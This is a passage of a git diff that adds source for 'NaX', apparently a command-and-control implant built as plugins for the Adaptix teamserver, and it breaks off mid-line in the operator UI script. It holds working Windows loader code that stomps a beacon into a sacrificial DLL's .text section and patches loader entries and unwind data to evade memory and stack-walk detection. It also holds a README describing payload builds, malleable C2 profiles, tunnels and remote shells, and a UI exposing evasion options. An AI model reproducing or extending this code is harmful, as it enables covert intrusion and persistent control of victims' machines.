diff --git a/src_loader/src/Pe.c b/src_loader/src/Pe.c new file mode 100644 index 0000000..af4a7b9 --- /dev/null +++ b/src_loader/src/Pe.c @@ -0,0 +1,40 @@ +#include + +/* ========= [ PE header helpers ] ========= + * + * Shared utilities for parsing PE structures. Used by both the + * module stomp path and the main dispatch logic. */ + +FUNC PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base ) { + PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)Base; + if ( Dos->e_magic != IMAGE_DOS_SIGNATURE ) + return NULL; + PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)( U_PTR( Base ) + Dos->e_lfanew ); + if ( Nt->Signature != IMAGE_NT_SIGNATURE ) + return NULL; + return Nt; +} + +FUNC PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics ) { + PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt ); + for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) { + if ( ( Sec[i].Characteristics & Characteristics ) == Characteristics ) + return &Sec[i]; + } + return NULL; +} + +FUNC PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex ) { + if ( DirIndex >= Nt->OptionalHeader.NumberOfRvaAndSizes ) + return NULL; + ULONG DirRva = Nt->OptionalHeader.DataDirectory[DirIndex].VirtualAddress; + if ( !DirRva ) + return NULL; + PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt ); + for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) { + if ( DirRva >= Sec[i].VirtualAddress && + DirRva < Sec[i].VirtualAddress + Sec[i].SizeOfRawData ) + return &Sec[i]; + } + return NULL; +} diff --git a/src_loader/src/PreMain.c b/src_loader/src/PreMain.c new file mode 100644 index 0000000..a5bdf01 --- /dev/null +++ b/src_loader/src/PreMain.c @@ -0,0 +1,79 @@ +#include +#include + +#define TLS_SEARCH_LIMIT 20 + +EXTERN_C FUNC VOID PreMain( + PVOID Param +) { + INSTANCE Stardust = { 0 }; + PVOID Heap = { 0 }; + PVOID Inst = { 0 }; + + MmZero( & Stardust, sizeof( Stardust ) ); + + Heap = NtCurrentPeb()->ProcessHeap; + + Stardust.Base.Buffer = StRipStart(); + Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer ); + + /* ========= [ resolve ntdll + kernel32 ] ========= */ + + if ( ! ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) + return; + if ( ! ( Stardust.Win32.RtlAllocateHeap = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) ) + return; + + if ( ! ( Stardust.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) + return; + if ( ! ( Stardust.Win32.TlsAlloc = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsAlloc" ) ) ) || + ! ( Stardust.Win32.TlsSetValue = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsSetValue" ) ) ) || + ! ( Stardust.Win32.TlsFree = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsFree" ) ) ) + ) { + return; + } + + /* ========= [ find two consecutive TLS slots (egghunter storage) ] ========= */ + + DWORD slots[ TLS_SEARCH_LIMIT ] = { 0 }; + UINT32 slotCount = 0; + DWORD eggSlot = TLS_OUT_OF_INDEXES; + DWORD instSlot = TLS_OUT_OF_INDEXES; + + for ( UINT32 i = 0; i < TLS_SEARCH_LIMIT; i++ ) { + slots[ i ] = Stardust.Win32.TlsAlloc(); + if ( slots[ i ] == TLS_OUT_OF_INDEXES ) + break; + slotCount++; + + if ( i > 0 && slots[ i ] == slots[ i - 1 ] + 1 ) { + eggSlot = slots[ i - 1 ]; + instSlot = slots[ i ]; + break; + } + } + + if ( eggSlot == TLS_OUT_OF_INDEXES ) + return; + + /* free non-consecutive slots we allocated during the search */ + for ( UINT32 i = 0; i < slotCount; i++ ) { + if ( slots[ i ] != eggSlot && slots[ i ] != instSlot ) + Stardust.Win32.TlsFree( slots[ i ] ); + } + + /* ========= [ allocate INSTANCE on heap, store via TLS ] ========= */ + + Inst = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) ); + if ( ! Inst ) + return; + + /* egg = NtCurrentPeb() address, instance pointer in next slot */ + Stardust.Win32.TlsSetValue( eggSlot, (LPVOID)NtCurrentPeb() ); + Stardust.Win32.TlsSetValue( instSlot, Inst ); + + MmCopy( Inst, & Stardust, sizeof( INSTANCE ) ); + MmZero( & Stardust, sizeof( INSTANCE ) ); + + Main( Param ); +} diff --git a/src_loader/src/Stomp.c b/src_loader/src/Stomp.c new file mode 100644 index 0000000..3636008 --- /dev/null +++ b/src_loader/src/Stomp.c @@ -0,0 +1,150 @@ +#include +#include + +/* ========= [ Module Stomping ] ========= + * + * Loads a sacrificial DLL via LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES), + * stomps the beacon into its .text section so execution happens from + * image-backed memory (IMG type, not PRV). + * + * Additionally patches the LDR entry to look like a normally-loaded DLL + * and stomps valid .pdata/.xdata for clean stack walks. */ + +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + +/* ========= [ LDR entry fixup ] ========= */ + +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008 +#define LDRP_PROCESS_STATIC_IMPORT 0x00000020 +#define LDRP_ENTRY_PROCESSED 0x00004000 + +FUNC VOID NaxPatchLdr( PVOID DllBase ) { + PPEB_LDR_DATA Ldr = NtCurrentPeb()->Ldr; + PLIST_ENTRY Head = &Ldr->InLoadOrderModuleList; + PLIST_ENTRY Cur = Head->Flink; + + PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase ); + if ( !Nt ) + return; + + while ( Cur != Head ) { + PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Cur; + if ( Entry->DllBase == DllBase ) { + Entry->EntryPoint = C_PTR( U_PTR( DllBase ) + Nt->OptionalHeader.AddressOfEntryPoint ); + Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT | + LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED; + return; + } + Cur = Cur->Flink; + } +} + +/* ========= [ stomp beacon into DLL .text ] ========= */ + +FUNC PVOID NaxModuleStomp( + _In_ PVOID HdrPtr, + _In_ PVOID BeaconSrc, + _In_ ULONG BeaconSize, + _In_ PVOID PdataSrc, + _In_ ULONG PdataSize, + _In_ PVOID XdataSrc, + _In_ ULONG XdataSize, + _In_ ULONG OrigTextRva, + _In_ PWCHAR DllName ) { + STARDUST_INSTANCE + + PVOID DllBase = { 0 }; + SIZE_T ProtSize = { 0 }; + ULONG OldProt = { 0 }; + + /* ========= [ load sacrificial DLL ] ========= */ + DllBase = (PVOID)API( LoadLibraryExW )( DllName, NULL, DONT_RESOLVE_DLL_REFERENCES ); + if ( !DllBase ) + return NULL; + + NaxPatchLdr( DllBase ); + Instance()->StompDllBase = DllBase; + + PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase ); + if ( !Nt ) + return NULL; + + /* ========= [ find .text section (code, execute) ] ========= */ + PIMAGE_SECTION_HEADER TextSec = NaxFindSection( Nt, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE ); + if ( !TextSec || TextSec->SizeOfRawData < BeaconSize ) + return NULL; + + PVOID TextBase = C_PTR( U_PTR( DllBase ) + TextSec->VirtualAddress ); + ULONG DllTextRva = TextSec->VirtualAddress; + + /* ========= [ save clean .text before stomping ] ========= */ + PVOID CleanTextBuf = API( RtlAllocateHeap )( NtCurrentPeb()->ProcessHeap, 0, TextSec->SizeOfRawData ); + + /* ========= [ stomp beacon into .text ] ========= */ + ProtSize = TextSec->SizeOfRawData; + if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_READWRITE, &OldProt ) ) + return NULL; + + if ( CleanTextBuf ) + MmCopy( CleanTextBuf, TextBase, TextSec->SizeOfRawData ); + + MmCopy( TextBase, BeaconSrc, BeaconSize ); + + /* ========= [ write stomp context tag after beacon code ] ========= */ + if ( CleanTextBuf && TextSec->SizeOfRawData >= BeaconSize + 4 + sizeof( PVOID ) + sizeof( ULONG ) ) { + PBYTE pTag = (PBYTE)TextBase + BeaconSize; + ULONG magic = NAX_STOMP_CTX_MAGIC; + ULONG cleanSize = TextSec->SizeOfRawData; + MmCopy( pTag, &magic, sizeof( ULONG ) ); + MmCopy( pTag + sizeof( ULONG ), &CleanTextBuf, sizeof( PVOID ) ); + MmCopy( pTag + sizeof( ULONG ) + sizeof( PVOID ), &cleanSize, sizeof( ULONG ) ); + } + + ProtSize = TextSec->SizeOfRawData; + if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_EXECUTE_READ, &OldProt ) ) + return NULL; + + /* ========= [ stomp .pdata with unwind data ] ========= */ + if ( PdataSize > 0 && XdataSize > 0 ) { + PIMAGE_SECTION_HEADER PdataSec = NaxFindSectionByDir( Nt, IMAGE_DIRECTORY_ENTRY_EXCEPTION ); + if ( PdataSec && PdataSec->SizeOfRawData >= ( PdataSize + XdataSize ) ) { + + PVOID PdataBase = C_PTR( U_PTR( DllBase ) + PdataSec->VirtualAddress ); + ULONG PdataRva = PdataSec->VirtualAddress; + + ProtSize = PdataSec->SizeOfRawData; + if ( API( VirtualProtect )( PdataBase, ProtSize, PAGE_READWRITE, &OldProt ) ) { + + MmCopy( PdataBase, PdataSrc, PdataSize ); + MmCopy( C_PTR( U_PTR( PdataBase ) + PdataSize ), XdataSrc, XdataSize ); + + ULONG XdataRva = PdataRva + PdataSize; + ULONG EntryCount = PdataSize / sizeof( RUNTIME_FUNCTION ); + PRUNTIME_FUNCTION Entries = (PRUNTIME_FUNCTION)PdataBase; + + for ( ULONG i = 0; i < EntryCount; i++ ) { + Entries[i].BeginAddress += DllTextRva; + Entries[i].EndAddress += DllTextRva; + Entries[i].UnwindData += XdataRva; + } + + PVOID HdrBase = DllBase; + SIZE_T HdrSize = LDR_PAGE_SIZE; + ULONG HdrOldPrt = 0; + if ( API( VirtualProtect )( HdrBase, HdrSize, PAGE_READWRITE, &HdrOldPrt ) ) { + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress = PdataRva; + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size = PdataSize; + API( VirtualProtect )( HdrBase, HdrSize, HdrOldPrt, &HdrOldPrt ); + } + + ProtSize = PdataSec->SizeOfRawData; + API( VirtualProtect )( PdataBase, ProtSize, OldProt, &OldProt ); + } + } + } + + return TextBase; +} + +#endif /* NAX_STOMP_MODULE */ diff --git a/src_loader/src/Utils.c b/src_loader/src/Utils.c new file mode 100644 index 0000000..24e9ee3 --- /dev/null +++ b/src_loader/src/Utils.c @@ -0,0 +1,53 @@ +#include + +/*! + * @brief + * Hashing data + * + * @param String + * Data/String to hash + * + * @param Length + * size of data/string to hash. + * if 0 then hash data til null terminator is found. + * + * @return + * hash of specified data/string + */ +FUNC ULONG HashString( + _In_ PVOID String, + _In_ SIZE_T Length +) { + ULONG Hash = { 0 }; + PUCHAR Ptr = { 0 }; + UCHAR Char = { 0 }; + + if ( ! String ) { + return 0; + } + + Hash = H_MAGIC_KEY; + Ptr = ( ( PUCHAR ) String ); + + do { + Char = *Ptr; + + if ( ! Length ) { + if ( ! *Ptr ) break; + } else { + if ( U_PTR( Ptr - U_PTR( String ) ) >= Length ) break; + if ( !*Ptr ) ++Ptr; + } + + if ( Char >= 'a' ) { + Char -= 0x20; + } + + Hash ^= Char; + Hash *= H_MAGIC_PRIME; + + ++Ptr; + } while ( TRUE ); + + return Hash; +} \ No newline at end of file diff --git a/src_server/Makefile b/src_server/Makefile new file mode 100644 index 0000000..c02452f --- /dev/null +++ b/src_server/Makefile @@ -0,0 +1,75 @@ +# NaX src_server/Makefile +# Builds extender plugins and deploys to Server/extenders/. +# Usage: make -C src_server +# make -C src_server SERVER_DIR=/path/to/Server GOEXPERIMENT=jsonv2,greenteagc +# +# SERVER_DIR, GO, and GOEXPERIMENT are overridable (setup_nax.sh passes them). +# GOEXPERIMENT must match the flags used to build adaptixserver. +# Auto-detect with: strings Server/adaptixserver | grep '^go[0-9]' + +NAX_ROOT := $(shell cd .. && pwd) +REPO_ROOT := $(shell cd ../.. && pwd) +SERVER_DIR ?= $(REPO_ROOT)/Server +AGENT_DIR := $(NAX_ROOT)/src_server/agent_nonameax +LISTENER_DIR := $(NAX_ROOT)/src_server/listener_nonameax_http +LISTENER_SMB_DIR := $(NAX_ROOT)/src_server/listener_nonameax_smb +SERVICE_DIR := $(NAX_ROOT)/src_server/service_nax_store +DEPLOY_AGENT := $(SERVER_DIR)/extenders/agent_nonameax +DEPLOY_LISTENER := $(SERVER_DIR)/extenders/listener_nonameax_http +DEPLOY_LISTENER_SMB := $(SERVER_DIR)/extenders/listener_nonameax_smb +DEPLOY_SERVICE := $(SERVER_DIR)/extenders/service_nax_store + +GO ?= /usr/local/go/bin/go +GOEXPERIMENT ?= jsonv2,greenteagc + +.PHONY: all clean test agent listener listener-smb service + +all: agent listener listener-smb service + +agent: + @echo " BUILD agent_nonameax.so" + @cd $(AGENT_DIR) && GOEXPERIMENT=$(GOEXPERIMENT) $(GO) build -buildmode=plugin \ + -o $(DEPLOY_AGENT)/agent_nonameax.so . + @cp $(AGENT_DIR)/ax_config.axs $(DEPLOY_AGENT)/ax_config.axs + @cp $(AGENT_DIR)/config.yaml $(DEPLOY_AGENT)/config.yaml + @cp -r $(AGENT_DIR)/pe_templates $(DEPLOY_AGENT)/pe_templates + @echo " DEPLOY $(DEPLOY_AGENT)/" + +listener: + @echo " BUILD listener_nonameax_http.so" + @cd $(LISTENER_DIR) && GOEXPERIMENT=$(GOEXPERIMENT) $(GO) build -buildmode=plugin \ + -o $(DEPLOY_LISTENER)/listener_nonameax_http.so . + @cp $(LISTENER_DIR)/ax_config.axs $(DEPLOY_LISTENER)/ax_config.axs + @cp $(LISTENER_DIR)/config.yaml $(DEPLOY_LISTENER)/config.yaml + @echo " DEPLOY $(DEPLOY_LISTENER)/" + +listener-smb: + @echo " BUILD listener_nonameax_smb.so" + @mkdir -p $(DEPLOY_LISTENER_SMB) + @cd $(LISTENER_SMB_DIR) && GOEXPERIMENT=$(GOEXPERIMENT) $(GO) build -buildmode=plugin \ + -o $(DEPLOY_LISTENER_SMB)/listener_nonameax_smb.so . + @cp $(LISTENER_SMB_DIR)/ax_config.axs $(DEPLOY_LISTENER_SMB)/ax_config.axs + @cp $(LISTENER_SMB_DIR)/config.yaml $(DEPLOY_LISTENER_SMB)/config.yaml + @echo " DEPLOY $(DEPLOY_LISTENER_SMB)/" + +service: + @echo " BUILD nax_store.so" + @mkdir -p $(DEPLOY_SERVICE) + @cd $(SERVICE_DIR) && GOEXPERIMENT=$(GOEXPERIMENT) $(GO) build -buildmode=plugin \ + -ldflags="-s -w" -o $(DEPLOY_SERVICE)/nax_store.so . + @cp $(SERVICE_DIR)/ax_config.axs $(DEPLOY_SERVICE)/ax_config.axs + @cp $(SERVICE_DIR)/config.yaml $(DEPLOY_SERVICE)/config.yaml + @echo " DEPLOY $(DEPLOY_SERVICE)/" + +test: + @echo " TEST agent_nonameax" + @cd $(AGENT_DIR) && $(GO) test ./... + @echo " TEST listener_nonameax_http" + @cd $(LISTENER_DIR) && $(GO) test ./... + +clean: + @rm -f $(DEPLOY_AGENT)/agent_nonameax.so + @rm -f $(DEPLOY_LISTENER)/listener_nonameax_http.so + @rm -f $(DEPLOY_LISTENER_SMB)/listener_nonameax_smb.so + @rm -f $(DEPLOY_SERVICE)/nax_store.so + @echo " CLEAN done" diff --git a/src_server/README.md b/src_server/README.md new file mode 100644 index 0000000..266e2df --- /dev/null +++ b/src_server/README.md @@ -0,0 +1,100 @@ +# NaX Server Plugins + +Go plugins for the [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) teamserver. Built as `.so` shared libraries loaded by Adaptix at startup. + +## Plugins + +### agent_nonameax + +Agent extender -- handles payload generation, command creation, and result processing for NaX beacons. + +| File | Purpose | +|------|---------| +| `pl_main.go` | Plugin entry point, Adaptix callback registration, command ID constants | +| `pl_build.go` | Cross-compilation pipeline: MinGW beacon + loader → packed shellcode | +| `pl_build_payload.go` | `BuildPayload` callback: profile embedding, NaxHeader v2, PE wrapper modes | +| `pl_commands.go` | `CreateCommand` callback: serialize operator commands to wire format | +| `pl_results.go` | `ProcessTasksResult` callback: decode beacon results to operator-visible output | +| `pl_wire.go` | Wire protocol helpers: frame encode/decode, task packing | +| `pl_crypto.go` | AES-128-CBC encrypt/decrypt (mirrors beacon's BCrypt implementation) | +| `pl_profile.go` | Malleable C2 profile parsing and validation | +| `pl_format.go` | Output formatting (hex dumps, tables, structured text) | +| `pl_upload.go` | Chunked upload state machine | +| `pl_tunnels.go` | SOCKS/port-forward tunnel management via Adaptix tunnel API | +| `pl_agent.go` | Agent-level helpers (session metadata, console updates) | +| `nax_packer.go` | NaxHeader v2 builder: loader + header + beacon + .pdata + .xdata | +| `bof_args.go` | BOF argument packer (Beacon API compatible format) | +| `ax_config.axs` | AxScript UI: command definitions, parameter widgets, result rendering | +| `config.yaml` | Plugin metadata: agent name, watermark, OS/arch support | +| `pe_templates/` | PE wrapper templates for exe/dll/svc debug output formats | + +### listener_nonameax_http + +HTTP listener extender -- serves beacon traffic with profile-driven request/response transforms. + +| File | Purpose | +|------|---------| +| `pl_main.go` | Plugin entry point, Adaptix callback registration | +| `pl_http.go` | HTTP handler: route requests, agent registration, task dispatch | +| `pl_http_profile.go` | Profile-driven request parsing and response building | +| `pl_http_profile_store.go` | Per-listener profile storage | +| `pl_http_transform.go` | Encoding pipeline: base64/hex/raw, XOR mask, body templates | +| `pl_wire.go` | Wire protocol helpers (shared with agent plugin) | +| `pl_crypto.go` | AES-128-CBC (shared with agent plugin) | +| `ax_config.axs` | AxScript UI: listener creation form, connection settings | +| `config.yaml` | Plugin metadata: listener name, protocol, default ports | + +### listener_nonameax_smb + +SMB listener extender -- named pipe listener for parent-child pivot chains. + +| File | Purpose | +|------|---------| +| `pl_main.go` | Plugin entry point, pipe name configuration | +| `ax_config.axs` | AxScript UI: pipe name settings | +| `config.yaml` | Plugin metadata | + +### service_nax_store + +Service extender -- persistent storage for BOF files and sleepmask payloads via Adaptix's service API. + +| File | Purpose | +|------|---------| +| `pl_main.go` | Plugin entry point, store/retrieve callbacks | +| `ax_config.axs` | AxScript UI: store browser widget | +| `config.yaml` | Plugin metadata | + +### tools + +Development utilities (not deployed as plugins): + +| File | Purpose | +|------|---------| +| `gen_config_h.sh` | Generate `Config.h` from listener UI values (standalone testing) | +| `sim_register.py` | Simulate beacon registration without a Windows VM | + +## Build + +From repository root: + +```bash +make -C src_server # Build + deploy all plugins +make -C src_server agent # Agent plugin only +make -C src_server listener # HTTP listener only +make -C src_server listener-smb # SMB listener only +make -C src_server service # Store service only +make -C src_server test # Run Go tests +``` + +Or individually: + +```bash +cd src_server/agent_nonameax && make +cd src_server/listener_nonameax_http && make +``` + +Plugins are built with `-buildmode=plugin` and deployed to `Server/extenders/`. Each plugin directory gets the `.so` binary plus `ax_config.axs` and `config.yaml`. + +## Registration + +All plugins must be listed in `Server/profile.yaml` for Adaptix to load them. The agent watermark must be exactly 8 hex characters and match across agent + listener configs. diff --git a/src_server/agent_nonameax/Makefile b/src_server/agent_nonameax/Makefile new file mode 100644 index 0000000..a5c35d0 --- /dev/null +++ b/src_server/agent_nonameax/Makefile @@ -0,0 +1,22 @@ +# Makefile - agent_nonameax extender plugin +# +# GOEXPERIMENT must match the flags used to build adaptixserver; the Go plugin +# loader checks internal/goexperiment compatibility and rejects mismatches. +# Inspect the server binary with: +# strings Server/adaptixserver | grep '^go[0-9]' +# Current server: go1.25.4 X:jsonv2,greenteagc + +GOEXPERIMENT := jsonv2,greenteagc +DEPLOY_DIR := ../../../Server/extenders/agent_nonameax +OUT := $(DEPLOY_DIR)/agent_nonameax.so + +.PHONY: all clean + +all: $(OUT) + +$(OUT): *.go + GOEXPERIMENT=$(GOEXPERIMENT) go build -buildmode=plugin -o $(OUT) . + @echo " DEPLOY $(OUT)" + +clean: + rm -f $(OUT) diff --git a/src_server/agent_nonameax/ax_config.axs b/src_server/agent_nonameax/ax_config.axs new file mode 100644 index 0000000..b302188 --- /dev/null +++ b/src_server/agent_nonameax/ax_config.axs @@ -0,0 +1,554 @@ + +// ========= [ Context menu ] ========= +// Right-click actions on a session - shown before the command console. +let action_term_thread = menu.create_action("Terminate thread", function(v) { v.forEach(s => ax.execute_command(s, "terminate thread")) }); +let action_term_process = menu.create_action("Terminate process", function(v) { v.forEach(s => ax.execute_command(s, "terminate process")) }); +let terminate_menu = menu.create_menu("Terminate"); +terminate_menu.addItem(action_term_thread); +terminate_menu.addItem(action_term_process); +menu.add_session_agent(terminate_menu, ["NoNameAx"]); + +// ========= [ Browser menus ] ========= +let process_browser_action = menu.create_action("Process Browser", function(v) { v.forEach(s => ax.open_browser_process(s)) }); +menu.add_session_browser(process_browser_action, ["NoNameAx"]); +let shell_browser_action = menu.create_action("Remote Shell", function(v) { v.forEach(s => ax.open_remote_shell(s)) }); +menu.add_session_browser(shell_browser_action, ["NoNameAx"]); + +// ========= [ Tunnel access ] ========= +let tunnel_access_action = menu.create_action("Create Tunnel", function(v) { ax.open_access_tunnel(v[0], true, true, true, true) }); +menu.add_session_access(tunnel_access_action, ["NoNameAx"]); + +// ========= [ Process browser hook ] ========= +event.on_processbrowser_list(function(agentId) { ax.execute_browser(agentId, "ps list"); }, ["NoNameAx"]); + +// ========= [ Agent build UI ] ========= +function GenerateUI(listeners_type) +{ + let isSmb = listeners_type.includes("NoNameAxSMB"); + let container = form.create_container(); + + // ========= [ Tab 1: Beacon ] ========= + + let tab1 = form.create_gridlayout(); + let t1r = 0; + + if (!isSmb) { + let spinSleep = form.create_spin(); + spinSleep.setRange(1, 3600); + spinSleep.setValue(10); + let spinJitter = form.create_spin(); + spinJitter.setRange(0, 100); + spinJitter.setValue(0); + tab1.addWidget(form.create_label("Sleep (seconds):"), t1r, 0); tab1.addWidget(spinSleep, t1r, 1); t1r++; + tab1.addWidget(form.create_label("Jitter (%):"), t1r, 0); tab1.addWidget(spinJitter, t1r, 1); t1r++; + container.put("sleep", spinSleep); + container.put("jitter", spinJitter); + } + + let comboFormat = form.create_combo(); + comboFormat.addItems(["Bin", "Exe", "Dll", "Svc"]); + let textSvcName = form.create_textline("NaxService"); + textSvcName.setEnabled(false); + let textDllExport = form.create_textline("Runner"); + textDllExport.setEnabled(false); + let checkDebug = form.create_check("Enable DPRINT (DebugView)"); + let checkRebuild = form.create_check("Full rebuild (clean + compile all)"); + checkRebuild.setChecked(true); + + form.connect(comboFormat, "currentTextChanged", function() { + let fmt = comboFormat.currentText(); + textSvcName.setEnabled(fmt === "Svc"); + textDllExport.setEnabled(fmt === "Dll"); + }); + + tab1.addWidget(form.create_label("Output Format:"), t1r, 0); tab1.addWidget(comboFormat, t1r, 1); t1r++; + tab1.addWidget(form.create_label("Service Name:"), t1r, 0); tab1.addWidget(textSvcName, t1r, 1); t1r++; + tab1.addWidget(form.create_label("DLL Export:"), t1r, 0); tab1.addWidget(textDllExport, t1r, 1); t1r++; + tab1.addWidget(form.create_label("Debug:"), t1r, 0); tab1.addWidget(checkDebug, t1r, 1); t1r++; + tab1.addWidget(form.create_label("Build:"), t1r, 0); tab1.addWidget(checkRebuild, t1r, 1); t1r++; + + container.put("output_format", comboFormat); + container.put("svc_name", textSvcName); + container.put("dll_export", textDllExport); + container.put("debug", checkDebug); + container.put("full_rebuild", checkRebuild); + + let tab1Panel = form.create_panel(); + tab1Panel.setLayout(tab1); + + // ========= [ Tab 2: Evasion ] ========= + + let tab2 = form.create_gridlayout(); + let t2r = 0; + + // --- Loader --- + let checkStomp = form.create_check("Module stomping (image-backed beacon)"); + checkStomp.setChecked(true); + let comboStompDll = form.create_textline("chakra.dll"); + let checkUnwind = form.create_check("Stomp .pdata (valid stack walks)"); + checkUnwind.setChecked(true); + let checkThreadPool = form.create_check("Thread pool (TppWorkerThread start addr)"); + checkThreadPool.setChecked(true); + + form.connect(checkStomp, "stateChanged", function() { + let on = checkStomp.isChecked(); + comboStompDll.setEnabled(on); + checkUnwind.setEnabled(on); + if (!on) checkUnwind.setChecked(false); + }); + + let loaderLayout = form.create_gridlayout(); + loaderLayout.addWidget(form.create_label("Module Stomp:"), 0, 0); loaderLayout.addWidget(checkStomp, 0, 1); + loaderLayout.addWidget(form.create_label("Stomp DLL:"), 1, 0); loaderLayout.addWidget(comboStompDll, 1, 1); + loaderLayout.addWidget(form.create_label("Unwind:"), 2, 0); loaderLayout.addWidget(checkUnwind, 2, 1); + loaderLayout.addWidget(form.create_label("Execution:"), 3, 0); loaderLayout.addWidget(checkThreadPool, 3, 1); + + let loaderPanel = form.create_panel(); + loaderPanel.setLayout(loaderLayout); + let loaderGroup = form.create_groupbox("Loader", false); + loaderGroup.setPanel(loaderPanel); + tab2.addWidget(loaderGroup, t2r, 0, 1, 2); t2r++; + + container.put("module_stomp", checkStomp); + container.put("stomp_dll", comboStompDll); + container.put("stomp_unwind", checkUnwind); + container.put("thread_pool", checkThreadPool); + + // --- BOF --- + let checkBofStomp = form.create_check("Image-backed BOF .text"); + checkBofStomp.setChecked(true); + let textBofSyncDll = form.create_textline("chakra.dll"); + let listBofAsyncDlls = form.create_list(); + listBofAsyncDlls.addItems(["jscript9.dll", "mshtml.dll", "d3d11.dll"]); + + let textBofAsyncAdd = form.create_textline(""); + textBofAsyncAdd.setPlaceholder("DLL name..."); + let btnBofAsyncAdd = form.create_button("+"); + let btnBofAsyncRm = form.create_button("-"); + form.connect(btnBofAsyncAdd, "clicked", function() { + let v = textBofAsyncAdd.text(); + if (v && v.length > 0) { listBofAsyncDlls.addItem(v); textBofAsyncAdd.setText(""); } + }); + form.connect(btnBofAsyncRm, "clicked", function() { + let r = listBofAsyncDlls.currentRow(); + if (r >= 0) listBofAsyncDlls.removeItem(r); + }); + form.connect(checkBofStomp, "stateChanged", function() { + let on = checkBofStomp.isChecked(); + textBofSyncDll.setEnabled(on); + listBofAsyncDlls.setEnabled(on); + textBofAsyncAdd.setEnabled(on); + btnBofAsyncAdd.setEnabled(on); + btnBofAsyncRm.setEnabled(on); + }); + + let bofLayout = form.create_gridlayout(); + bofLayout.addWidget(form.create_label("BOF Stomping:"), 0, 0); bofLayout.addWidget(checkBofStomp, 0, 1); + bofLayout.addWidget(form.create_label("Sync DLL:"), 1, 0); bofLayout.addWidget(textBofSyncDll, 1, 1); + bofLayout.addWidget(form.create_label("Async DLLs:"), 2, 0); bofLayout.addWidget(listBofAsyncDlls, 2, 1); + let asyncBtnLayout = form.create_hlayout(); + asyncBtnLayout.addWidget(textBofAsyncAdd); + asyncBtnLayout.addWidget(btnBofAsyncAdd); + asyncBtnLayout.addWidget(btnBofAsyncRm); + let asyncBtnPanel = form.create_panel(); + asyncBtnPanel.setLayout(asyncBtnLayout); + bofLayout.addWidget(form.create_label(""), 3, 0); bofLayout.addWidget(asyncBtnPanel, 3, 1); + + let bofPanel = form.create_panel(); + bofPanel.setLayout(bofLayout); + let bofGroup = form.create_groupbox("BOF Execution", false); + bofGroup.setPanel(bofPanel); + tab2.addWidget(bofGroup, t2r, 0, 1, 2); t2r++; + + container.put("bof_stomp", checkBofStomp); + container.put("bof_stomp_dll", textBofSyncDll); + container.put("bof_stomp_pool", listBofAsyncDlls); + + // --- Sleep Obfuscation --- + let comboSleepObf = form.create_combo(); + comboSleepObf.addItems(["Off", "On"]); + comboSleepObf.setCurrentIndex(1); + + let sleepObfLayout = form.create_gridlayout(); + sleepObfLayout.addWidget(form.create_label("Sleep Obf:"), 0, 0); + sleepObfLayout.addWidget(comboSleepObf, 0, 1); + + let sleepObfPanel = form.create_panel(); + sleepObfPanel.setLayout(sleepObfLayout); + let sleepObfGroup = form.create_groupbox("Sleep Obfuscation", false); + sleepObfGroup.setPanel(sleepObfPanel); + tab2.addWidget(sleepObfGroup, t2r, 0, 1, 2); t2r++; + + container.put("sleep_obf", comboSleepObf); + + let tab2Panel = form.create_panel(); + tab2Panel.setLayout(tab2); + + // ========= [ Tab 3: BeaconGate ] ========= + + let tab3 = form.create_gridlayout(); + let t3r = 0; + + let checkBeaconGate = form.create_check("Enable BeaconGate"); + checkBeaconGate.setChecked(false); + tab3.addWidget(checkBeaconGate, t3r, 0, 1, 2); t3r++; + + tab3.addWidget(form.create_label("Sleepmask Stomp DLL:"), t3r, 0); + let textSmStompDll = form.create_textline("msxml6.dll"); + textSmStompDll.setEnabled(false); + tab3.addWidget(textSmStompDll, t3r, 1); t3r++; + + tab3.addWidget(form.create_label("Gated APIs (exact Win32 name → NAX_GATE_TOUPPER):"), t3r, 0, 1, 2); t3r++; + + let listGateAPIs = form.create_list(); + listGateAPIs.addItems(["Sleep", "WaitForSingleObject", "WaitForMultipleObjects"]); + listGateAPIs.setEnabled(false); + + let textGateAPIAdd = form.create_textline(""); + textGateAPIAdd.setPlaceholder("Win32 function name..."); + textGateAPIAdd.setEnabled(false); + let btnGateAPIAdd = form.create_button("+"); + btnGateAPIAdd.setEnabled(false); + let btnGateAPIRm = form.create_button("-"); + btnGateAPIRm.setEnabled(false); + + form.connect(btnGateAPIAdd, "clicked", function() { + let v = textGateAPIAdd.text(); + if (v && v.length > 0) { listGateAPIs.addItem(v); 